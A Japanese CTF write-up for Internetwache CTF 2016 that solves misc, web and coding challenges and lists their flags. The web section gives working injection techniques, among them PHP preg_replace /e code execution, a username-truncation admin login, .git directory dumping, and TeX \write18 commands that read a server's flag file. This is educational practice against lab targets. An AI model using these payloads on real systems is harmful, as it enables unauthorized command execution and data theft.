Internetwache CTF 2016 Write-up

Internetwache CTF 2016に一人チームで参加しました。結果は530点でした。

解けるレベルの問題が多く楽しかったです。

解いたのは、

  • Misc: 50, 70
  • Web: 60, 70, 80, 90
  • Code: 50, 60

です。

↓公式のリポジトリです。

github.com

Misc 50: The hidden message

README.txtを読むと数字の羅列が入っている。

0-7しか出てこないので8進数だと思ってasciiから変換すると

V2VsbCBkb25lIQoKRmxhZzogSVd7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K

に。base64でデコードすると、

Flag: IW{N0_0ne_can_st0p_y0u}

Misc 70: Rock with the wired shark!

pcapngファイルが渡され、中を見るとbasic認証をしてflag.zipをダウンロードしている。flag.zipをnetworkminerで取り出すとパスワードがかかっていました。basic認証で入力してたパスワードを入力すると解凍に成功しました。

IW{HTTP_BASIC_AUTH_IS_EASY}

Web 60: Replace with Grace

文字列を置換して表示してくれる模様。

URLにindex.phpを加えてもページが変わらなかったのでPHPだと分かりました。

きっと、OSコマンドインジェクションする問題だと思いググると、

/hoge/e

のようにすると、置換後の文字列がphpとして実行されると分かりました。

なので、置換後の文字列にsystem,passthru,execなどを入れるとブラックリストワードと言われ表示されず。

evalはよく分からなかったので、最終的には

Search: /(system)/e, Replace: $1("ls -al"), Content: system

の形にして、フラグを探しました。

$FLAG = "IW{R3Pl4c3_N0t_S4F3}";

 

Web 70: The Secret Store

問題文にDBとあったのでsqlインジェクションねらいで記号をとにかく入力するも特に反応は無かった。そういえば、こんなのもあったなと

admin                                                                                                                                                                           a

と入力すると、adminに上記のアカウントのPWで入れました。

Here is your secret: IW{TRUNCATION_IS_MY_FRIEND}

Web 80: 0ldsk00lBlog

一見ただの静的なページ。

html中にgitについて書いてあったので、.gitにアクセスすると403が返ってきました。

ググると.git以下のファイルに色々情報があるということなので、

を参考に、ローカルにgitのディレクトリを構築しました。

https://0ldsk00lblog.ctf.internetwache.org/.git/logs/refs/heads/master から.git/objects以下のファイルをいくつか調べてDL、あとは

git fsck

git checkout -f

で足りないと言われた部分を.git/objectsからダウンロードしました。

26858023dc18a164af9b9f847cbfb23919489ab2のコミットのindex.htmlにフラグが載っていました。

Web 90: TexMake

TeXからpdfを作ってくれるサービス。

Texでコマンドを実行する方法を調べたところ、

\write18{command}

でコマンドを実行できる模様。

しかし、pdfに実行結果が出力されないので、\inputを使うとブラックリストワードに。

実際には結果はコンソールのほうに出るみたいでした。

FILE CREATED: 063ba73423fa9b5d5b82f1eaefe6a454.pdf
Download: http://texmaker.ctf.internetwache.org/pdf/063ba73423fa9b5d5b82f1eaefe6a454.pdf


LOG:
This is pdfTeX, Version 3.14159265-2.6-1.40.15 (TeX Live 2015/dev/Debian) (preloaded format=pdflatex)
\write18 enabled.
entering extended mode
(./063ba73423fa9b5d5b82f1eaefe6a454.tex
LaTeX2e <2014/05/01>
Babel <3.9l> and hyphenation patterns for 2 languages loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))
(/usr/share/texlive/texmf-dist/tex/latex/base/inputenc.sty
(/usr/share/texlive/texmf-dist/tex/latex/base/latin1.def))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty
For additional information on amsmath, use the `?' option.
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty))
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amsfonts.sty)
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/amssymb.sty)
(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty
(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty)
(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty
(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty)
(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg)
(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty)
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty))))
No file 063ba73423fa9b5d5b82f1eaefe6a454.aux.
(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii
[Loading MPS to PDF converter (version 2006.09.02).]
) (/usr/share/texlive/texmf-dist/tex/generic/oberdiek/pdftexcmds.sty
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifluatex.sty)
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty))
(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty
(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvdefinekeys.sty))
(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/kvsetkeys.sty
(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/etexcmds.sty)))
(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg))<?php

$FLAG = "IW{L4T3x_IS_Tur1ng_c0mpl3te}";
?>

なので、

\immediate\write18{cat ../flag.php}

でフラグを見て終了。

Code 50: A numbers game

x * 13 = 221

のような形式の問題が100問出されます。スペースで分かれているので、パースしやすかったです。

i = 0
while i < 100:
i += 1
read_until(f,".: ")
S = read_until(f)[:-1]
s = S.split()
ans = 0
c = int(s[4])
b = int(s[2])
if s[1] == "+":
ans = c - b
elif s[1] == "-":
ans = c + b
elif s[1] == "*":
ans = c / b
elif s[1] == "/":
ans = c * b
f.write(str(ans)+"\n")

Code 60: It's Prime Time!

ある数のつぎの素数を聞かれる問題が100問出されるので、pari/gpに投げて送信するだけ。nextprime()で+1しないと、聞かれた数が素数の場合に答えが異なることに最初は気付きませんでした。

i = 0
while i < 100:
i += 1
read_until(f,"Find the next prime number after ")
S = read_until(f, ":")[:-1]
np = commands.getoutput('echo "nextprime(%s+1)" | gp -q' % (S))
f.write(np+"\n")
while True:
print read_until(f)